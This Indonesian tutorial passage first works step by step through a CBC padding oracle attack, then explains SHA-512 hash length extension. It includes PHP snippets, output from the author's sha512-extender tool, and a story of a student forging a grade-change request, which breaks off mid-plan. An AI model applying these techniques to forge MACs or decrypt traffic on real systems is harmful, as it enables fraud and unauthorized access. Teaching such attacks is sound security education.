Pada gambar di atas, dua byte terakhir ciphertext blok pertama diisi dengan 0B-85 untuk memastikan ketika diXOR menghasilkan 2 byte terakhir P2 03-03. Sekarang byte ke-6 yang harus dicari dengan cara brute force, menginterogasi ‘the oracle’ untuk menyelesaikan persamaan A XOR B = 03. Proses brute force untuk mendapatkan padding yang valid terlihat pada gambar di bawah ini.

Screen Shot 2013-03-15 at 6.49.32 AM

Setelah mendapat status valid padding, artinya kita sudah mendapat jawaban ‘Ya’ untuk pertanyaan ‘Apakah A XOR A9 = 03’ sehingga bisa dihitung A adalah 0xAA. Byte ke-6 P2 yang sesungguhnya adalah 0xAA XOR 0xA9 (A9 adalah byte ke-6 C1 yang asli) = 0x03. Situasinya sekarang menjadi seperti gambar di bawah ini.

Screen Shot 2013-03-15 at 6.56.27 AM

Sejauh ini kita sudah berhasil mendapatkan 3 byte terakhir dari hasil dekripsi C2, yaitu 03-03-03.

Mendapatkan byte ke-5 P2

Mendapatkan byte ke-5 juga dilakukan dengan mengirimkan dua blok cipher sedemikian hingga ketika didekrip di server menghasilkan padding yang valid dengan byte terakhir 04-04-04-04. Situasinya seperti gambar di bawah ini.

Screen Shot 2013-03-15 at 7.08.10 AM

Tiga byte terakhir blok pertama ciphertext berisi AE-0C-82 untuk memastikan bahwa ketika diXOR menghasilkan 3 byte terakhir P2 04-04-04, menginterogasi ‘the oracle’ untuk menyelesaikan persamaan A XOR B = 04. Proses brute force untuk mendapatkan padding yang valid terlihat pada gambar di bawah ini.

Screen Shot 2013-03-15 at 7.14.33 AM

Setelah mendapat status valid padding, artinya kita sudah mendapat jawaban ‘Ya’ untuk pertanyaan ‘Apakah A XOR 0E = 04’ sehingga kita bisa hitung A yaitu 0A. Setelah mendapatkan 0A, kita bisa hitung byte ke-5 P2 yang asli, yaitu 0A XOR 47 = 4D. Sejauh ini yang sudah kita dapatkan tergambar di bawah ini.

Screen Shot 2013-03-15 at 7.19.14 AM

Mendapatkan byte ke-4 P2

Mendapatkan byte ke-4 dilakukan dengan mengirimkan dua blok ciphertext sedemikian sehingga ketika didekrip di server menghasilkan padding yang valid dengan byte terakhir 05-05-05-05-05. Gambar di bawah ini menggambarkan situasinya.

Screen Shot 2013-03-15 at 7.27.22 AM

Dengan cara brute force yang sama dengan sebelumnya, diketahui bahwa bila byte ke-4 blok pertama ciphertext berisi 0xBD, response dari server adalah padding valid.

Screen Shot 2013-03-15 at 7.39.23 AM

Dengan mendapatkan status padding valid artinya kita mendapat jawaban ‘Ya’ dari ‘the oracle’ untuk pertanyaan ‘Apakah A XOR BD = 05’ sehingga A bisa dihitung yaitu BD XOR 05 = B8 dan byte ke-4 P2 menjadi B8 XOR F4 = 4C. Gambar di bawah ini menunjukkan situasi terkini.

Screen Shot 2013-03-15 at 7.31.27 AM

3 Lagi!

Tinggal 3 byte lagi yang belum. Mari kita lanjutkan. Mendapatkan byte ke-3 P2 dilakukan dengan mengirim 2 blok ciphertext yang membuat 6 byte terakhir P2 menjadi 06-06-06-06-06-06.

Screen Shot 2013-03-15 at 7.49.39 AM

Kita harus membrute force byte ke 3 dari C1 (‘??’ berwarna biru cyan) sampai mendapatkan response dari ‘the oracle’ bahwa padding valid. Ketika mendapatkan padding valid, client bisa yakin bahwa byte ke-3 P2 bernilai 06, sehingga 6 byte terakhir menjadi 06-06-06-06-06-06.

Screen Shot 2013-03-15 at 7.54.28 AM

Dengan mendapatkan status padding valid artinya kita mendapat jawaban ‘Ya’ dari ‘the oracle’ untuk pertanyaan ‘Apakah A XOR 1D = 06′ sehingga A bisa dihitung yaitu 1D XOR 06 = 1B dan byte ke-3 P2 menjadi 1B XOR 50 = 4B. Gambar di bawah ini menunjukkan situasi terkini.

Screen Shot 2013-03-15 at 8.29.30 AM

2 Lagi!

Tinggal 2 lagi, ayo sedikit lagi nih! Sekarang client harus mengirim dua blok ciphertext yang membuat P2 menjadi 07-07-07-07-07-07-07.

Screen Shot 2013-03-15 at 8.36.11 AM

Berikut adalah proses brute force untuk mencari byte yang menghasilkan valid padding.

Screen Shot 2013-03-15 at 8.41.54 AM

Dengan mendapatkan status padding valid artinya kita mendapat jawaban ‘Ya’ dari ‘the oracle’ untuk pertanyaan ‘Apakah A XOR 35 = 07′ sehingga A bisa dihitung yaitu 35 XOR 07 = 32 dan byte ke-3 P2 menjadi 32 XOR 78 = 4A. Gambar di bawah ini menunjukkan situasi terkini.

Screen Shot 2013-03-15 at 8.45.04 AM
Terakhir!

Sekarang tiba saatnya kita mencari byte pertama dari P2.

Screen Shot 2013-03-13 at 2.10.29 PM

Gambar berikut adalah proses brute force untuk mendapatkan valid padding.

Screen Shot 2013-03-13 at 2.20.57 PM

Dengan mendapatkan byte yang menyebabkan valid padding adalah 6C, artinya kita mendapat jawaban ‘Ya’ untuk pertanyaan ‘Apakah A XOR 6C = 08’ sehingga A bisa dihitung: 6C XOR 08 = 64. Setelah itu kita bisa menghitung byte pertama P2, yaitu 64 XOR 2D (byte pertama C1 yang asli) = 0x49.

C2 Decrypted!

Jadi kita sekarang sudah berhasil mendekrip C2 (‘123B36A038A8682F’) mejadi ‘IJKLM’+03+03+03 dimulai dari byte terakhir sampai byte pertama tanpa mengetahui kunci dan algoritma apa yang dipakai.

Screen Shot 2013-03-13 at 2.31.08 PM

Hebatnya lagi dekripsi ini dilakukan sama sekali tidak menggunakan teknik komputasi kompleks tingkat tinggi (permutasi, S-BOX tidak dibutuhkan sama sekali), hanya XOR disana XOR disini, datapun berhasil didekrip. Kok bisa begitu ? Hal ini bisa terjadi karena yang melakukan dekripsi adalah server, serverlah yang akan melakukan komputasi kompleks untuk mendekrip ciphertext, attacker di luar tinggal mengamati respons dari server sebagai ‘the oracle’.

Jadi sehebat apapun algoritma enkripsinya, bila memakai mode CBC dan memberikan respons pada client apakah padding valid atau tidak valid, akan vulnerable, walaupun algoritma enkripsinya sendiri sebenarnya tidak vulnerable. Serangan oracle padding attack ini bukan menyerang algoritma enkripsi seperti DES/AES, serangan ini menyerang mode operasi CBC.

Decrypt C1

Setelah C2 berhasil didekrip, bagaimana cara mendekrip C1 (‘2D7850F447A90B87’) ?

Sama seperti mendekrip C2, cara untuk mendekrip C1 adalah dengan membentuk dua blok ciphertext berikut:

  1. Blok custom yang dibuat attacker
  2. Blok C1 (’2D7850F447A90B87’) sebagai target yang akan didekrip

Kemudian dua blok tersebut digabung (concat) dan dikirim ke server. Selanjutnya caranya sama dengan sebelumnya. Berikut adalah gambaran situasi ketika mencari byte terakhir dari dekripsi C1. Sama seperti sebelumnya, blok pertama berisi null byte kecuali byte terakhir yang akan dibrute force, blok kedua berisi 2D-78-50-F4-47-A9-0B-87 yang akan didekrip.

Screen Shot 2013-03-15 at 9.04.37 AM

Disini kita mulai dari awal lagi, berangkat dari byte terakhir sampai byte pertama. Kita harus menginterogasi ‘the oracle’ untuk membantu menyelesaikan persamaan ‘A XOR B = 01’ berapakah A dan B ? Berikut adalah proses brute force untuk mencari byte terakhir yang membuat valid padding.

Screen Shot 2013-03-15 at 9.26.34 AM

Setelah mendapatkan status valid padding artinya kita telah mendapat jawaban ‘Ya’ dari ‘the oracle’ untuk pertanyaan ‘Apakah A XOR 41 = 01’ sehingga kita bisa menghitung A adalah 0x40.

Ingat untuk mendekrip suatu blok, kita membutuhkan blok ciphertext sebelumnya. Sebelumnya ketika kita mendekrip C2 kita meng-XOR-kan hasil Decrypt(C2) dengan C1, sekarang karena kita sedang mendekrip C1, maka kita membutuhkan ciphertext blok sebelumnya juga, yaitu C0 atau Initialization Vector (IV). Dalam contoh ini IV yang dipakai adalah deretan byte 01-02-03-04-05-06-07-08.

Byte yang sudah kita dapatkan adalah 0x40 harus kita XOR dulu dengan byte terakhir IV 0x08 untuk mendapatkan plaintext byte terakhir, yaitu 0x40 XOR 0x08 = 0x48.

Screen Shot 2013-03-15 at 9.37.52 AM

Kita telah mendapatkan byte terakhir dari hasil dekripsi C1, proses ini bisa terus dilanjutkan untuk mendapatkan byte-byte lain sebelum byte terakhir dengan cara yang sama dengan yang sebelumnya.

Mengeksploitasi Hash Length Extension Vulnerability

Dalam tulisan kali ini saya akan membahas tentang hash length extension attack, bagaimana cara eksploitasinya dan bagaimana cara agar program yang kita buat tidak bisa dieksploitasi dengan teknik serangan ini.

Fungsi hash kriptografis yang vulnerable terhadap serangan ini adalah fungsi hash yang menggunakan struktur Merkle-Damgard seperti MD5, SHA1, SHA2.

Dalam tulisan ini, fungsi hash yang dibahas adalah SHA-512 yang termasuk dalam keluarga SHA2. Fungsi hash lain MD5 dan SHA1 juga vulnerable namun tidak dibahas disini karena cara kerja dan prinsip dasarnya sama dengan serangan terhadap SHA-512.

Message Authentication Code (MAC)

MAC adalah suatu data yang digunakan sebagai otentikasi data dan menjamin keasliannya. Dalam gambar di bawah ini (sumber: wikipedia) menunjukkan salah satu use-case dari MAC, diilustrasikan bahwa Alice akan mengirim pesan ke Bob.

Screen Shot 2013-03-04 at 5.48.38 PM

  • Alice dan Bob sebelumnya harus sudah sepakat dengan suatu kunci rahasia
  • Alice menghitung MAC dari pesan dengan kunci rahasia
  • Alice mengirim MAC dan pesan ke Bob
  • Bob menghitung MAC dari pesan yang diterima dengan kunci rahasia

Bila MAC yang dihitung Bob sama dengan MAC yang diterima dari Alice, maka Bob yakin bahwa:

  • Pesan yang dikirim Alice masih asli, tidak diubah di tengah jalan oleh orang lain (Integrity)
  • Pesan benar-benar dikirim dan dibuat oleh Alice (Authentication)

Pihak selain Alice dan Bob tidak bisa mengubah data yang dikirim Alice dan tidak bisa mengirim pesan seolah-olah berasal dari Alice karena untuk membuat MAC yang valid dibutuhkan kunci yang hanya diketahui Alice dan Bob saja.

Fungsi Hash untuk MAC

Fungsi kriptografis hash seperti MD5, SHA1, SHA2 bisa dipakai untuk membuat MAC dengan cara menghitung hash dari gabungan secret key dan data yang akan dilindungi oleh MAC :

MAC = HASH(secretkey + data) seperti MD5(secretkey + data), SHA1(secretkey + data), SHA2(secretkey + data)

Dengan fungsi hash seperti ini, pihak ketiga yang tidak mengetahui secret key tidak bisa membuat hash yang valid dari suatu data. Sebagai contoh, bila seseorang ingin mengirimkan dataX dia harus menyertakan pula MD5(secretkey + dataX) sebagai MAC, bila dia mengetahui secretkey maka dia bisa menghitung nilai MAC dengan mudah. Namun bila secretkey tidak diketahui bagaimana cara menghitung MD5(secretkey + dataX) ? Mungkinkah menghitung MD5(secretkey+dataX) tanpa mengetahui secretkey ?

Kisah seorang Mahasiswa Galau

Di suatu kampus di suatu negeri far far away, terdapat sistem informasi akademik yang mengelola catatan nilai semua mahasiswanya. Ada seorang mahasiswa yang sedang galau karena terancam DO bila IPK semester ini masih saja satu koma. Dia berpikir untuk mencurangi sistem akademik kampusnya, dan mulailah dia melakukan information gathering dengan tujuan untuk mencurangi sistem akademik kampusnya.

Dari hasil sniffing dia mengetahui bahwa pencatatan nilai dilakukan terpusat di server akademik kampusnya dengan menggunakan HTTP GET request seperti ini:

http://ServerAkademik:8888/kripto/updatenilaisha512.php?token=1af41c81d665f0e8542cafbe333255d47b65c0e650d1c3fd919947d237b81e86f1aa4cd31fbe4254abc9b959e10f23b92bb0f932ac5c0414014b507f048acdc9&nilai=MTMwMDAwMDAyM3xDUzMyMT1DO0NTNDQyPUI7

Si mahasiswa galau itu juga mencoba URL tersebut di browsernya, dan response yang muncul adalah:

Screen Shot 2013-03-05 at 2.10.27 PM

Dari URL dan responsenya tersebut dia menduga bahwa untuk mengubah nilai dia harus menggunakan URL tersebut dengan parameter nilai berupa base64 dan parameter token berupa hash SHA512(secretkey+isi parameter nilai) yang berfungsi sebagai MAC dari isi parameter nilai, namun si mahasiswa tidak tahu secretkey yang dipakai.

Isi parameter nilai dari URL tersebut setelah didecode adalah ‘1300000023|CS321=C;CS442=B;’ dan kebetulan 1300000023 adalah NIM dia sendiri yang diikuti dengan nilai kuliahnya. Si mahasiswa kini paham bahwa untuk mengubah nilai parameter nilai harus mengikuti format (dikirim dalam bentuk base64 encoded):

NIM|KODEMATKUL=A/B/C/D/E;KODEMATKUL=A/B/C/D/E;KODEMATKUL=A/B/C/D/E;KODEMATKUL=A/B/C/D/E;

Kini si mahasiswa galau telah mengetahui cara membuat IPKnya menjadi 4 adalah dengan mengirimkan request GET dengan parameter nilai yang berisi daftar kode matakuliah dan nilainya (semua dibuat ‘A’). Supaya perintah perubahan nilai diterima server, dia juga harus mengirimkan hash SHA512(secretkey+isi parameter nilai). Bila dia bisa mengirimkan SHA512 yang valid, server akan percaya bahwa request GET tersebut terpercaya dan mengupdate nilai sesuai isi paramter nilai.

Namun hasil information gathering ini justru membuat si mahasiswa semakin galau karena dia tidak tahu secretkey yang dibutuhkan untuk membuat hash SHA512 yang valid. Tanpa SHA512 yang valid, request pengubahan nilai tidak akan diterima server.

Bagaimana cara si mahasiswa galau mengubah nilai tanpa mengetahui secretkey ?

Hash Length Extension Attack

Secara sederhana hash length extension attack bisa digambarkan sebagai berikut:
Bila diketahui data dan nilai hash dari (secret + data), maka kita bisa menghitung hash dari (secret + data + datatambahan) walaupun tidak mengetahui secret.

Sebagai contoh, bila diketahui sha512(secret + ‘abcd’) adalah :

b51ca01e1054cd0cfa09316e53a1272ed43cf6286a18380b7758546026edf2c6af9f11251768b7510728e5c35324f0715b0d7717228865cf621a96ed3cef05a1

Maka kita bisa menghitung sha512(secret + ‘abcd’ + ‘efghijklmnopqrstuvwxyz’) walaupun kita tidak mengetahui secret. Untuk memahami bagaimana hash length extension ini terjadi kita harus melihat bagaimana hash sha512 dihitung.

Padding pada SHA-512

SHA-512 tidak menghitung hash semua data secara sekaligus.  SHA-512 menghitung data setahap demi setahap, blok demi blok, dimana setiap blok data harus berukuran 1024 bit (128 byte). Jadi setiap data yang akan dihash akan dipotong-potong dan disusun dalam blok-blok berukuran 1024 bit.

Bila data yang akan dihash tidak tepat berukuran kelipatan 1024 bit, maka dibutuhkan pre-processing berupa menambahkan bit-bit padding sebagai pengganjal agar ukurannya menjadi tepat kelipatan 1024 bit.

Padding dilakukan dalam dua langkah:

  •  Menambahkan bit 1 di akhir data dan diikuti dengan bit 0 sejumlah yang diperlukan agar jumlahnya menjadi 128 bit kurang dari kelipatan 1024 bit.
  • Sisa 128 bit yang akan melengkapi blok menjadi 1024 bit adalah panjang dari data (sebelum ditambahkan padding)

Sebagai ilustrasi, bila data yang akan di hash adalah ‘abcd’ maka pre-processing akan menyusun blok pada gambar di bawah ini.

Screen Shot 2013-03-03 at 9.52.49 PM

Susunan byte 61626364 yang berwarna hijau adalah kode ascii ‘abcd’ yang akan dihash, kemudian diikuti dengan byte 0x80 sebagai awal dari padding. Byte 80 hexa digunakan sebagai awal padding karena dalam biner adalah 10000000, yaitu bit 1 yang diikuti rangkaian bit 0, padding dengan bit 0 terus dilanjutkan sampai berukuran 896 bit atau 128 bit kurang dari 1024. Padding ditutup dengan 128 bit panjang data dalam bit  yang berwarna biru. Dalam ilustrasi di atas panjang data ‘abcd’ adalah 4 atau 32 bit atau dalam hexa adalah 0x20.

Dalam contoh pertama ‘abcd’ data disusun dalam satu blok 1024 bit saja. Dalam ilustrasi kedua pada gambar di bawah ini, data yang akan dihash adalah huruf ‘A’ (0x41 hexa) sebanyak 150 karakter atau 1200 bit. Karena datanya berukuran 1200 bit, dalam kasus ini satu blok saja tidak cukup, sehingga dibutuhkan 2 blok.

Screen Shot 2013-03-04 at 12.09.12 PM

Dalam gambar di atas yang berwarna hijau adalah data yang akan dihash. Blok 1024 bit pertama berisi karakter ‘A’ sebanyak 128 karakter (128 x 8 bit = 1024), kemudian sisanya 22 karakter lagi mengisi awal dari blok 2. Setelah data diikuti dengan byte 0x80 dan deretan byte 0x00 yang berwarna kuning sampai menggenapi 128 bit kurang dari 1024 pada blok yang ke-2. Padding diakhiri dengan 128 bit berwarna biru berisi panjang data dalam bit, dalam contoh ini panjangnya adalah 0x04B0 atau 1200 bit.

Bagaimana bila data yang akan dihash panjangnya sudah tepat 128 bit kurang dari 1024 bit ? Dalam contoh di bawah ini data yang akan di hash adalah huruf A sebanyak 112 karakter atau 896 bit (128 bit kurang dari 1024).

Screen Shot 2013-03-04 at 11.52.51 AM

Walaupun data yang dihash sudah tepat 896 bit, padding yang berwarna kuning tetap harus ditambahkan sebelum padding panjang data yang berwarna biru. Sehingga proses padding akan menyusun dua blok seperti pada gambar di atas.

Komputasi SHA-512
SHA-512 menghitung nilai hash dengan cara memproses blok-blok berukuran 1024 bit. Gambar di bawah ini menunjukkan proses penghitungan SHA-512 data berupa deretan huruf A sebanyak 300 karakter. Data tersebut dipotong-potong dan ditambahkan padding sehingga menjadi 3 blok masing-masing berukuran 1024 bit.

Penghitungan hash suatu blok membutuhkan dua masukan, blok data 1024 bit dan hash dari blok sebelumnya. Kemudian hash dari suatu blok akan menjadi input untuk menghitung hash blok selanjutnya, dan proses ini terus berlanjut sampai semua blok telah dihitung hashnya.

Hash blok terakhir adalah nilai hash final dari data

Khusus untuk memroses blok pertama, hash yang dipakai sebagai input adalah intial hash value yang didefinisikan dalam FIPS 180-3 sebagai:

H0 = 0x6a09e667f3bcc908
H1 = 0xbb67ae8584caa73b
H2 = 0x3c6ef372fe94f82b
H3 = 0xa54ff53a5f1d36f1
H4 = 0x510e527fade682d1
H5 = 0x9b05688c2b3e6c1f
H6 = 0x1f83d9abfb41bd6b
H7 = 0x5be0cd19137e2179

Gabungan dari 8 variabel di atas membentuk initial hash value:
6a09e667f3bcc908bb67ae8584caa73b3c6ef372fe94f82ba54ff53a5f1d36f1510e527fade682d19b05688c2b3e6c1f1f83d9abfb41bd6b5be0cd19137e2179

Screen Shot 2013-03-04 at 2.22.33 PM

yang diperlukan untuk menghitung hash suatu blok adalah hash (bukan isi) blok sebelumnya

Kita tidak perlu tahu dan tidak peduli isi blok sebelumnya untuk menghitung hash suatu blok. Sekali lagi perhatikan ilustrasi gambar di atas:

  1. Untuk menghitung hash blok ke-2 kita tidak perlu tahu isi blok pertama, kita hanya perlu tahu hash blok pertama
  2. Untuk menghitung hash blok ke-3 (karena hanya ada 3 blok, maka hash blok ke-3 adalah final hash), isi blok pertama dan kedua tidak diperlukan, kita hanya perlu hash blok kedua

Isi blok sebelumnya tidak penting, yang penting adalah hashnya

Eksploitasi Length Extension Attack

Bila diketahui hash(N bytes of unknown data X) adalah H, maka kita bisa menghitung hash(N bytes of unknown data X + padding + append).

Setelah mengerti proses padding dan penghitungan hash SHA512 sekarang kalau kita melihat hash SHA512 dari suatu data, misalkan SHA512 dari ‘A’ sebanyak 300 karakter adalah ‘689699398b28bae3…’ perlu diingat bahwa:

  • Hash ‘689699398b28bae3…’ itu adalah hash dari blok terakhir (blok ke-3 dalam contoh ini)
    Screen Shot 2013-03-06 at 6.12.04 AM
  • Data yang dihash sebenarnya adalah gabungan ‘A’x300 + byte padding
    Screen Shot 2013-03-06 at 6.20.12 AM
  • Hash itu bisa dijadikan input untuk menghitung hash blok data tambahan lain

Bagaimana bila kita tidak tahu isi dari 300 byte data tersebut ?

Bila diketahui SHA512 ( 300 bytes of unknown data ) adalah:
689699398b28bae3c2a4d8a6eaa995fd7fbabd41c90c09fad4152cf3cdcbf8bbc89979d0a8aaf64a840c70d1bf9551cbb6bce93716f7c8f945124b2f50c7a715

Berapakah SHA512 ( 300 bytes of unknown data + padding byte + 'BBBBB') ??

Proses di Server

Dengan memanfaatkan cara kerja SHA512 kita bisa meng-extend penghitungan hash 300 byte data yang sebelumnya final di blok ke-3 menjadi baru final di blok ke-4 (atau mungkin ke-5, ke-6 tergantung ukuran data tambahan ) karena kita tambahkan data baru.

Screen Shot 2013-03-06 at 6.48.50 AM

Data yang akan ditambahkan client adalah ‘BBBBB’ (42 42 42 42 42). Data tambahan tersebut harus diletakkan di blok baru (blok ke-4) seperti pada gambar di atas agar client bisa menghitung hash 4 blok data tanpa harus tahu isi blok ke-1, blok ke-2 dan blok ke-3.

Proses yang terjadi di server umumnya adalah verifikasi apakah MAC dan data yang dikirim client valid atau tidak. Server akan menggabungkan (concat) ‘A’x300 + data yang dikirim client, baru kemudian menghitung hash dari hasil penggabungan data tersebut.

$data = str_repeat('A', 300);
$append = 'client appended data'
$servermac = hash('sha512',$data.$append)."\n";

Yang perlu diingat adalah hasil dari penggabungan (concat) yang dilakukan server harus tetap menjaga agar isi blok 1, blok 2 dan blok 3 tetap sama seperti ketika menghitung hash ‘A’x300.

Mari kita lihat bagaimana kalau client mengirimkan $append = ‘BBBBB’ ? Server akan menggabungkan ‘A’x300 + ‘BBBBB’ yang membentuk blok yang berbeda seperti gambar di bawah ini. Blok pertama dan kedua gambar di kiri masih sama dengan yang kanan , tapi blok ke-3 berbeda. Pada gambar di kiri, setelah byte 41 (‘A’) langsung diikuti dengan byte 42 (‘B’) sebanyak 5x. Karena bloknya berbeda, tentu hash blok ke-3 berbeda, bukan lagi ‘689699398b…’ sehingga client tidak bisa lagi menggunakan hash ‘689699398b…’ sebagai input untuk memproses blok berikutnya.

Screen Shot 2013-03-06 at 8.37.14 AM

Oke jadi kita tidak boleh langsung mengirimkan data tambahan ‘BBBBB’ karena ketika diconcat akan menghasilkan hash yang berbeda dengan yang sudah diketahui ‘689699398b…’.

Agar blok 1, 2 dan 3 tetap sama ketika diconcat, maka data yang diappend tidak boleh langsung ‘BBBBB’. Data yang di append client harus didahului dengan ’80 00 00 00 … 09 60′ untuk menutup blok ke-3, baru kemudian diikuti dengan ‘BBBBB’ (42 42 42 42 42). Mari kita lihat blok yang terbentuk bila ‘A’x300 diconcat dengan ’80 00 00 00 … 09 60 42 42 42 42 42’

Screen Shot 2013-03-09 at 7.52.47 PM

Hasil gabungan 300x’A’ di server + data yang dikirim client + padding byte akan membentuk 4 blok dibawah ini.

Screen Shot 2013-03-06 at 9.12.23 AM

Pada gambar di atas, data yang diappend client adalah yang hijau terang. Terlihat bahwa blok 1,2,3 tetap sama, dan string ‘BBBBB’ berada di blok baru. Ini adalah blok yang benar, jadi kita kini sudah tahu data yang harus diappend client adalah ’80 00 00 00 … 09 60 42 42 42 42 42′.

Proses penghitungan hash data hasil concat ‘A’x300 dan data yang diappend client (’80 00 00 … 09 60 42 42 42 42 42), terlihat pada gambar di bawah ini. Kalau sebelumnya, hash blok ke-3 (689699398b….) adalah final hash, sekarang hash tersebut menjadi input untuk menghitung hash blok ke-4. Perhatikan juga byte berwarna biru yang berisi panjang data dalam bit bernilai 0C 28 atau 3112 bit / 389 byte (300 byte ‘A’ + 84 byte pad + 5 byte ‘B’).

Screen Shot 2013-03-05 at 9.14.11 AM

Mari kita hitung SHA512 dari 300 huruf A + data yang diappend client dengan script php pendek berikut.

$data = str_repeat('A', 300);
$append = 
	"\x80\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x09\x60".
	"\x42\x42\x42\x42\x42";
print hash('sha512',$data.$append)."\n";

Output dari program di atas:
587b5638d9f73a0c255c2ae700c84ea6e1e1dd662054c7e0d84c65f2fa94c39f522d52cc99c0b3e912a6cdc6c2f49bf3bef0619af71205a462fe3871b9551daf

Proses di Client

Server bisa dengan mudah menghitung SHA512 karena memang server mengetahui isi dari 300 byte datanya adalah huruf A sebanyak 300, jadi dia hanya perlu melakukan penggabungan (concat) dengan data yang diappend client dan menghitung hashnya seperti biasa.

Lalu bagaimana dengan client ? Dia tidak tahu isi datanya, dia hanya tahu bahwa datanya berukuran 300 byte dan hashnya.

Cara menghitungnya di sisi client mudah saja, hampir sama dengan menghitung SHA512 biasa, namun dengan sedikit perbedaan:

  1. Penghitungan hash tidak mulai dari nol, tidak mulai dari blok pertama. Hash dari 300 byte unknown data tersebut dipakai sebagai input untuk menghitung blok ke-4 (tidak memakai default initial hash value).
  2. Blok ke-4 berisi ‘BBBBB’ dan byte padding seperti biasa untuk menggenapi menjadi 1024 bit. Namun padding 128 bit terakhir yang berisi panjang data dalam bit, ada sedikit perbedaan. Panjang data yang ditulis bukan hanya 40 bit (5 byte), tapi panjang datanya adalah 128*3 (3 blok data) + 5 byte. Jadi walaupun client hanya menghitung blok ke-4 saja, tapi perhitungannya blok ini seolah-olah adalah kelanjutan dari penghitungan blok 1, 2 dan 3 jadi panjang datanya adalah gabungan 3 blok + 5 byte ‘B’.

Screen Shot 2013-03-06 at 9.55.01 AM

Tentu saja untuk mengakomodir perbedaan/perlakuan khusus tersebut kita tidak bisa menggunakan fungsi SHA512 yang standar. Saya mulai dengan mengimplementasi algoritma SHA512 berdasarkan standar FIPS 180-3 dengan python kemudian memodifikasi sedikit menjadi tools sha512-extender. Silakan download toolsnya: SHA512-EXTENDER

Berikut adalah output dari tools sha512-extender.

rizki$ ./sha512-extender.py 
./sha512-extender.py [knownMAC] [knownData] [appendedText] [keyLen]

rizki$ ./sha512-extender.py 689699398b28bae3c2a4d8a6eaa995fd7fbabd41c90c09fad4152cf3cdcbf8bbc89979d0a8aaf64a840c70d1bf9551cbb6bce93716f7c8f945124b2f50c7a715 '' 'BBBBB' 300
Injection Data in Hex Format:
00000: 80 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00016: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00032: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 09 60 42 42 42 42 - 42

Injection Data in Base64 Encoded Format:
gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlgQkJCQkI=

########## Original Message ##########
00000: 42 42 42 42 42

########## 1st Padding ##########
00000: 42 42 42 42 42 80 00 00 - 00 00 00 00 00 00 00 00 
00016: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00032: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00

########## Final Padded Blocks ##########
00000: 42 42 42 42 42 80 00 00 - 00 00 00 00 00 00 00 00 
00016: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00032: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00112: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 0C 28

########## Words ##########

## Block 0
00000: 42 42 42 42 42 80 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 0C 28 -

#####################################################################################################################################################################
Initial Hash value              : 689699398b28bae3c2a4d8a6eaa995fd7fbabd41c90c09fad4152cf3cdcbf8bbc89979d0a8aaf64a840c70d1bf9551cbb6bce93716f7c8f945124b2f50c7a715

Memproses Blok 0
Intermediate SHA512 for block 0 : 587b5638d9f73a0c255c2ae700c84ea6e1e1dd662054c7e0d84c65f2fa94c39f522d52cc99c0b3e912a6cdc6c2f49bf3bef0619af71205a462fe3871b9551daf

Perhatikan bahwa tools sha512-extender.py menghasilkan hash ‘587b5638d9f73a….’ yang sama persis dengan yang dihitung oleh server. Namun bedanya kita menghitung hash tersebut tanpa mengetahui isi dari 300 byte data aslinya.

Kalau client mengirimkan hash ‘587b5638d9f73a…’ dan data yang di append (80 00 00 … 42 42 42 42 42) tersebut ke server, server tidak akan komplain karena hash yang dikirim client akan sama persis dengan hash yang dihitung di server walaupun client tidak tahu isi 300 byte datanya. Yes, We Win!

Kisah Mahasiswa Galau (part 2)

Si mahasiswa galau yang pantang menyerah, akhirnya mengetahui tentang hash length extension attack dan mulai menyusun rencana untuk menyerang. Si mahasiswa juga sudah mengetahui bahwa panjang kunci rahasia di aplikasi akademik tersebut adalah 14 karakter.

Dia menduga bahwa source code di server akan berbentuk kurang lebih seperti ini:

$data = base64_decode($_GET['nilai']);
$token = $_GET['token'];
$secretkey = "xxxxxxxxxxxxxx"; // unknown 14 byte data
if (hash('sha512',$secretkey.$data) == $token) {
	// OK
} else {
       // ERROR
}

Berikut informasi yang sudah diketahui si mahasiswa galau:

Parameter nilai:
